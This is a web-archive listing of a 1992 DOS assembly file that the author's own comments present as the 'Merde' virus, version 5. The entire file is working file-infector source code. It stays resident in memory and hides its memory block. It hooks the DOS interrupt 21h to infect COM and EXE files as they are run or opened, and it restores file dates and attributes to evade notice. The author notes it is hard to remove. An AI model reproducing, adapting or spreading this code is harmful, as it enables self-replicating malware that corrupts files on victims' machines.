home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MERDE-5.ASM < prev    next >
Assembly Source File  |  1992-06-14  |  12KB  |  613 lines

  1. ; Okay, here is my newest version..  It now 
  2. ; offers EXE infection.  I messed up command.com
  3. ; compatibility so this version won't infect it.
  4. ; Also, this version might be a little shakey,
  5. ; but it should work okay with most setups
  6. ; (I'm not professional yet, so screw 'em
  7. ; if this hangs!)..
  8. ; This will be the last time I release code for
  9. ; my virii.  Thanks to firststrike, and anyone else
  10. ; who has given me tips.....
  11. ;  Be careful not to get this, it is kinda hard to get rid
  12. ;  of (it would be REALLY hard to get rid of if it infected
  13. ;command.com- I will have to fix that (along with the TERRIBLE
  14. ; inefficiency in my interrupt handler (the loader is OKAY, but
  15. ; My_21 is just kind of a jumble of code thrown together for now.
  16. ; If you want to vaccinate your system, and you know a little about
  17. ; assembler, it isn't that hard. (I gave the come version to
  18. ; myself about 3 times).  Just take notice of my use of interrupt
  19. ; 71...(This will be changed in future versions, for obvious reasons).
  20. ;    MERDE-5 The merde virus version 5.0-            loki
  21.  
  22.  
  23. compare_val    equ    850
  24. interrupt    equ    21h
  25. Code_seg    Segment Byte
  26.     Assume DS:Code_seg, CS:Code_seg
  27.     ORG 100h
  28.  
  29. start:    call    get_ip
  30.  
  31. exe_or_com:
  32.     dw    'CO'
  33. get_ip:
  34.     pop    di
  35.     sub    di,3
  36.     cmp    word ptr cs:[di+3],'EX'
  37.     jne    com_memory_loader
  38.     jmp    exe_memory_loader
  39.  
  40. ;Load memory from within an EXE file..
  41. ;------------------------------------------------------------------------------        
  42. exe_memory_loader:
  43.     call    check_for_int_71
  44.     jc    go
  45.     call    get_memory    ;es=my_segment
  46.     jnc    aaaa
  47.     jmp    exit_exe
  48. aaaa:
  49.     call    hide_memory
  50.     call    set_int_71
  51.     call    save_21
  52.     push    ds
  53.     call    move_all_code
  54.     pop    ds
  55.     mov    bx,es
  56.     call    set_21
  57. go:    jmp    exit_exe
  58.  
  59. ;------------------------------------------------------------------------------
  60. ;******************************************************************************
  61. ;------------------------------------------------------------------------------
  62. ;load memory from a COM file...
  63.  
  64. com_memory_loader:
  65.     call    restore_com
  66.     call    check_for_int_71
  67.     jc    go_1
  68.     call    get_memory
  69.     jnc    bbbb
  70.     jmp    exit_com
  71.     
  72. bbbb:    call    hide_memory
  73.  
  74. reset_di:
  75.     call    set_int_71
  76.     call    save_21
  77.     call    move_all_code
  78.     mov    bx,es
  79.     call    set_21
  80. go_1:    jmp    exit_com
  81.  
  82. ;------------------------------------------------------------------------------
  83. ;Returns ES with my segment (or an error)
  84. ;------------------------------------------------------------------------------
  85. get_memory:
  86.     int    12h
  87.     mov    bx,cs
  88.     mov    cx,1024
  89.     mul    cx    
  90.     clc
  91.     mov    cx,600h            ;Amount of needed memory
  92.     sub    ax,cx
  93.     sbb    dx,0000            ;dx:ax=where we want this mem to end!
  94.     mov    bx,dx
  95.     mov    bp,ax            ;save this...
  96.     mov    cx,cs
  97.     mov    ax,0010h
  98.     mul    cx
  99.     clc
  100.     mov    cx,di
  101.     add    cx,offset ending-100h
  102.     add    ax,cx
  103.     adc    dx,0000
  104.     clc
  105.     sub    bp,ax
  106.     sbb    bx,dx
  107.     clc
  108.     mov    ax,bp
  109.     mov    dx,bx
  110.     mov    cx,0010h
  111.     div    cx        ;dx:ax=memory above this-divide it by 16
  112.     mov    bx,ax
  113.     mov    ah,4ah
  114.     int    21h
  115.     jc    get_memory_error
  116.     mov    bx,60
  117.     mov    ah,48h
  118.     int    21h
  119.     jc    get_memory_error
  120.     mov    es,ax
  121.     clc
  122.     ret
  123. get_memory_error:
  124.     stc
  125.     ret
  126. ;------------------------------------------------------------------------------
  127. ;Moves all code + PSP to my secretive little segment-destroys DS (in EXE files)
  128. ;------------------------------------------------------------------------------
  129. move_all_code:
  130. ;move PSP**************************
  131.     push    di
  132.     xor    si,si
  133.     xor    di,di
  134.     mov    cx,100h
  135.     rep    movsb
  136. ;**********************************
  137. ;move my code**********************
  138.     pop    si
  139.     push    si
  140.     push    cs
  141.     pop    ds
  142.     mov    cx,offset ending-100h
  143.     rep    movsb
  144.     pop    di
  145.     ret
  146. ;**********************************    
  147. ;------------------------------------------------------------------------------
  148. ;------------------------------------------------------------------------------
  149. ;saves interrupt 21 in cs:[int_21_saveo]
  150. save_21:
  151.     push    es
  152.     xor    ax,ax
  153.     mov    es,ax
  154.     mov    ax,es:[interrupt*4]
  155.     mov    bx,es:[interrupt*4+2]
  156.     mov    cs:[di+offset int_21_saveo-100h],ax
  157.     mov    cs:[di+offset int_21_saves-100h],bx
  158.     pop    es
  159.     ret
  160.  
  161. ;-----------------------------------------------------------------------------
  162. ;sets interrupt 21 to bx:offset of my_21
  163. set_21:
  164.     push    es
  165.     xor    ax,ax
  166.     mov    es,ax
  167.     mov    es:[interrupt*4],offset my_21
  168.     mov    es:[interrupt*4+2],bx
  169.     pop    es
  170.     ret
  171. ;-----------------------------------------------------------------------------
  172. ;-----------------------------------------------------------------------------
  173. ;Restores a COM file
  174. restore_com:
  175.     push    di
  176.     mov    si,di
  177.     add    si,offset three_bytes-100h
  178.     mov    di,0100h
  179.     mov    cx,3
  180.     rep    movsb
  181.     pop    di
  182.     ret
  183. ;------------------------------------------------------------------------------
  184. ;Hides my segment's (es) size and owner
  185. hide_memory:
  186.     push    ds
  187.     xor    cx,cx
  188.     mov    ds,cx
  189.     mov    cx,ds:[2eh*4+2]
  190.     pop    ds
  191.     push    ds
  192.     mov    dx,es
  193.     dec    dx
  194.     mov    ds,dx
  195.     mov    ds:[1],cx            ;maybe later set to DOS seg
  196.     mov    byte ptr ds:[0],'Z'
  197.     mov    word ptr ds:[3],0000
  198.     mov    es:[16h],cx
  199.     mov    es:[0ah],cx
  200.     mov    es:[0ch],cx
  201.     pop    ds
  202.     ret
  203. ;------------------------------------------------------------------------------
  204.  
  205. ;check_for_int 71-  My little multiplex interrupt
  206. check_for_int_71:
  207.     int    71h
  208.     cmp    ax,9999h
  209.     je    set_c
  210.     clc
  211.     ret
  212. set_c:
  213.     stc
  214.     ret
  215. ;------------------------------------------------------------------------------
  216.  
  217. ;Set interrupt 71:
  218. set_int_71:
  219.     push    ds
  220.     xor    ax,ax
  221.     mov    ds,ax
  222.     mov    ds:[71h*4+2],es
  223.     mov    ds:[71h*4],offset my_71
  224.     pop    ds
  225.     ret
  226.  
  227.  
  228. exit_com:
  229.     xor    cx,cx
  230.     xor    dx,dx
  231.     xor    ax,ax
  232.     xor    bx,bx
  233.     xor    si,si
  234.     xor    di,di
  235.     mov    ax,100h
  236.     jmp    ax
  237.  
  238. exit_exe:
  239.     push    ds
  240.     pop    es
  241.     mov    ax,es
  242.     add    ax,10h
  243.     add    word ptr cs:[di+offset orig_cs-100h],ax
  244.     cli
  245.     add    ax,word ptr cs:[di+offset orig_ss-100h]
  246.     mov    ss,ax
  247.     mov    sp,word ptr cs:[di+offset orig_sp-100h]
  248.     sti
  249.     jmp    dword ptr cs:[di+offset orig_ip-100h]
  250.  
  251. ;------------------------------------------------------------------
  252. my_21:    
  253.     cmp    ah,4bh
  254.     je    okay_go
  255.     cmp    ah,0fh
  256.     je    okay_go
  257.     cmp    ah,3dh
  258.     je    okay_go
  259.     cmp    ah,43h
  260.     je    okay_go
  261.     jmp    continue_21
  262. okay_go:
  263.     push    ax
  264.     push    bx
  265.     push    cx
  266.     push    dx
  267.     push    es
  268.     push    di
  269.     push    si
  270.     push    bp
  271.     push    es
  272.     push    ds
  273. check_for_com:
  274.     xor    si,si
  275.     mov    bx,dx
  276. looper:
  277.     cmp    word ptr ds:[bx+si],'c.'
  278.     je    check_om
  279.     cmp    word ptr ds:[bx+si],'C.'
  280.     je    check_om
  281.     cmp    word ptr ds:[bx+si],'e.'
  282.     je    check_ex
  283.     cmp    word ptr ds:[bx+si],'E.'
  284.     je    check_ex
  285.     inc    si
  286.     cmp    si,40
  287.     jne    looper
  288.     jmp    give_up1
  289. check_om:
  290.     cmp    word ptr ds:[bx+si+2],'mo'
  291.     jne    bb
  292.     mov    cs:[com_or_exe],0
  293.     jmp    check_for_infection
  294. bb:    cmp    word ptr ds:[bx+si+2],'MO'
  295.     jne    cc
  296.     mov    cs:[com_or_exe],0
  297.     jmp    check_for_infection
  298. cc:    jmp    give_up1    
  299. check_ex:
  300.     cmp    word ptr ds:[bx+si+2],'ex'
  301.     jne    label1
  302.     mov    cs:[com_or_exe],1234h
  303.     jmp    okay_do
  304. label1:
  305.     cmp    word ptr ds:[bx+si+2],'EX'        ;FIX ME!!!!!!!
  306.     je    cccc                ;forget exe for now..
  307.     jmp    give_up1
  308. cccc:
  309.     mov    cs:[com_or_exe],1234h
  310.     jmp    okay_do
  311. check_for_infection:
  312.     cmp    word ptr [bx+si-2],'DN'
  313.     jne    okey_k
  314.     jmp    give_up1
  315. okey_k:
  316.     cmp    word ptr [bx+si-2],'DN'
  317.     jne    okay_do
  318.     jmp    give_up1
  319. okay_do:
  320.     mov    cs:[storage_1],ds
  321.     mov    cs:[storage_2],dx
  322.     mov    ah,50h        ;set PSP to ours
  323.     push    cs
  324.     pop    bx
  325.     call    dos_21
  326.     mov    ah,43h
  327.     xor    al,al
  328.     call    dos_21
  329.     jnc    okay9
  330.     jmp    give_up
  331. okay9:    mov    cs:[attrib],cx
  332.     mov    ah,43h
  333.     mov    al,1
  334.     xor    cx,cx
  335.     call    dos_21
  336.     mov    ah,3dh
  337.     mov    al,2
  338.     call    dos_21
  339.     jnc    okay10
  340.     jmp    give_up
  341. okay10:    mov    cs:[handle],ax
  342.     mov    bx,ax
  343.     mov    ah,57h
  344.     xor    al,al
  345.     call    dos_21
  346.     mov    cs:[date],dx
  347.     mov    cs:[time],cx
  348.     mov    ax,4202h
  349.     xor    dx,dx
  350.     xor    cx,cx
  351.     call    dos_21
  352.     jnc    okay11
  353.     jmp    give_up
  354. okay11:    mov    cs:[file_size],ax
  355.     cmp    cs:[com_or_exe],1234h
  356.     jne    okey_p
  357.     sub    ax,compare_val
  358.     sbb    dx,0000
  359.     mov    cx,dx
  360.     mov    dx,ax
  361.     jmp    contin2
  362. okey_p:    xor    cx,cx
  363.     cmp    ax,63000
  364.     jb    contin1
  365.     call    reset_all
  366.     jmp    give_up
  367. contin1:
  368.     cmp    ax,600
  369.     jnb    continx
  370.     call    reset_all
  371.     jmp    give_up
  372. continx:
  373.     sub    ax,compare_val
  374.     mov    dx,ax
  375.     xor    cx,cx
  376. contin2:
  377.     mov    ax,4200h
  378.     mov    bx,cs:[handle]
  379.     call    dos_21
  380.     mov    ah,3fh
  381.     push    cs
  382.     pop    ds
  383.     mov    dx,offset buffer
  384.     mov    cx,2
  385.     call    dos_21
  386.     mov    ax,word ptr cs:[buffer]
  387.     mov    bx,word ptr cs:[offset dont_write-compare_val]
  388.     cmp    ax,bx
  389.     jne    dddd
  390.     jmp    give_up
  391. dddd:
  392.     cmp    cs:[com_or_exe],1234h
  393.     je    infect_exe
  394.     jmp    infect_com
  395.  
  396. infect_exe:
  397.     mov    bx,cs:[handle]
  398.     xor    dx,dx
  399.     xor    cx,cx
  400.     mov    ax,4200h
  401.     call    dos_21
  402.     push    cs
  403.     pop    ds
  404.     mov    ah,3fh
  405.     mov    cx,18h
  406.     mov    dx,offset header
  407.     call    dos_21
  408.     cmp    word ptr [header+8],1000h
  409.     jb    okayh
  410.     call    reset_all
  411.     jmp    give_up
  412. okayh:    mov    ax,word ptr [header+16h]
  413.     mov    orig_cs,ax
  414.     mov    ax,word ptr [header+14h]
  415.     mov    orig_ip,ax
  416.     mov    ax,word ptr [header+0eh]
  417.     mov    orig_ss,ax
  418.     mov    ax,word ptr [header+10h]
  419.     mov    orig_sp,ax
  420.     mov    ax,4202h
  421.     mov    bx,handle
  422.     xor    cx,cx
  423.     xor    dx,dx
  424.     call    dos_21
  425.     mov    word ptr ds:[exe_or_com],'EX'
  426.     mov    high_size,dx
  427.     mov    low_size,ax
  428.     mov    real_hsize,dx
  429.     mov    real_lsize,ax
  430.     mov    ax,word ptr [header+8]
  431.     mov    cx,10h
  432.     mul    cx
  433.     clc
  434.     sub    low_size,ax        ;high_size:low_size=load size
  435.     sbb    high_size,dx
  436.     clc
  437.     mov    dx,high_size
  438.     mov    ax,low_size
  439.     mov    cx,0010h
  440.     div    cx
  441.     cmp    dx,0
  442.     je    okay
  443.     mov    cx,16
  444.     sub    cx,dx
  445.     mov    bp,cx
  446.     add    real_lsize,bp
  447.     adc    real_hsize,0000
  448.     clc
  449.     stc
  450.     adc    ax,0000
  451.     jmp    okay1
  452. okay:    xor    bp,bp
  453. okay1:    xor    dx,dx
  454.     mov    word ptr [header+16h],ax
  455.     ;add to dx?
  456.     mov    word ptr [header+14h],dx
  457.     mov    word ptr [header+0eh],ax
  458.     mov    dx,0fffeh
  459.     mov    word ptr [header+10h],dx
  460.     mov    dx,real_hsize
  461.     mov    ax,real_lsize
  462.     add    ax,offset ending-100h+1
  463.     adc    dx,0000
  464.     push    ax
  465.     mov    cl,9
  466.     shr    ax,cl
  467.     ror    dx,cl
  468.     stc
  469.     adc    dx,ax
  470.     pop    ax
  471.     and    ah,1
  472.     mov    word ptr [header+4],dx
  473.     mov    word ptr [header+2],ax    
  474.     mov    ah,40h
  475.     mov    bx,handle
  476.     mov    cx,offset dont_write-100h
  477.     add    cx,bp
  478.     mov    dx,100h
  479.     sub    dx,bp
  480.     call    dos_21
  481.     mov    ax,4200h
  482.     xor    cx,cx
  483.     xor    dx,dx
  484.     mov    bx,handle
  485.     call    dos_21
  486.     mov    ah,40h
  487.     mov    bx,handle
  488.     mov    cx,18h
  489.     mov    dx,offset header
  490.     call    dos_21
  491.     call    reset_all
  492.     jmp    give_up
  493.  
  494. infect_com:
  495.     xor    cx,cx
  496.     xor    dx,dx
  497.     mov    bx,cs:[handle]
  498.     mov    ax,4200h
  499.     call    dos_21
  500.     mov    ah,3fh
  501.     mov    cx,3
  502.     push    cs
  503.     pop    ds
  504.     mov    dx,offset three_bytes
  505.     call    dos_21
  506.     mov    ax,cs:[file_size]
  507.     sub    ax,3
  508.     mov    word ptr cs:[jumper+1],ax
  509.     mov    word ptr cs:[exe_or_com],'CO'
  510.     call    write_to_end
  511.     xor    cx,cx
  512.     xor    dx,dx
  513.     mov    ax,4200h
  514.     mov    bx,cs:[handle]
  515.     call    dos_21
  516.     mov    dx,offset jumper
  517.     mov    ah,40h
  518.     mov    cx,3
  519.     call    dos_21
  520.     call    reset_all
  521. give_up:
  522.     mov    ah,50h
  523.     mov    bx,cs:[storage_1]
  524.     call    dos_21
  525. give_up1:
  526.     pop    ds
  527.     pop    es
  528.     pop    bp
  529.     pop    si
  530.     pop    di
  531.     pop    es
  532.     pop    dx
  533.     pop    cx
  534.     pop    bx
  535.     pop    ax
  536.     jmp    continue_21
  537. continue_21:
  538.     jmp    dword ptr cs:[int_21_saveo]
  539. dos_21:
  540.     pushf
  541.     call    dword ptr cs:[int_21_saveo]
  542.     ret
  543.  
  544. reset_all:
  545.     mov    bx,cs:[handle]
  546.     mov    cx,cs:[time]
  547.     mov    dx,cs:[date]
  548.     mov    ax,5701h
  549.     call    dos_21
  550.     mov    ah,3eh
  551.     mov    bx,cs:[handle]
  552.     call    dos_21
  553.     mov    ah,43h
  554.     mov    al,1
  555.     mov    cx,cs:[attrib]
  556.     mov    ds,cs:[storage_1]
  557.     mov    dx,cs:[storage_2]
  558.     call    dos_21
  559.     ret    
  560.  
  561. write_to_end:
  562.     
  563.     mov    ax,4202h
  564.     xor    dx,dx
  565.     xor    cx,cx
  566.     mov    bx,cs:[handle]
  567.     call    dos_21
  568.     mov    ah,40h
  569.     mov    cx,offset dont_write-100h
  570.     push    cs
  571.     pop    ds
  572.     mov    dx,0100h
  573.     call    dos_21
  574.     ret
  575. my_71:
  576.     mov    ax,9999h
  577.     iret
  578.  
  579.  
  580. jumper:
  581.     db    0e9h,00,00
  582. storage_1    dw    0000
  583. storage_2    dw    0000
  584. int_21_saveo    dw    0000
  585. int_21_saves    dw    0000
  586. three_bytes:    db    0cdh,20h,90h
  587. db    'Loki'
  588. orig_ip        dw    0000
  589. orig_cs        dw    0000
  590. orig_ss        dw    0000
  591. orig_sp        dw    0000
  592. dont_write:
  593.  
  594. header:
  595.         db 24 dup(00)
  596. com_or_exe    dw    1234h
  597. handle        dw    0000
  598. file_size    dw    0000
  599. attrib        dw    0000
  600. date        dw    0000
  601. time        dw    0000
  602. buffer:        dw    0000
  603. loader_high    dw    0000
  604. loader_low    dw    0000
  605. header_cs    dw    0000
  606. header_ip    dw    0000
  607. low_size    dw    0000
  608. high_size    dw    0000
  609. real_hsize    dw    0000
  610. real_lsize    dw    0000
  611. ending:
  612. Code_seg     ENDS
  613. END    start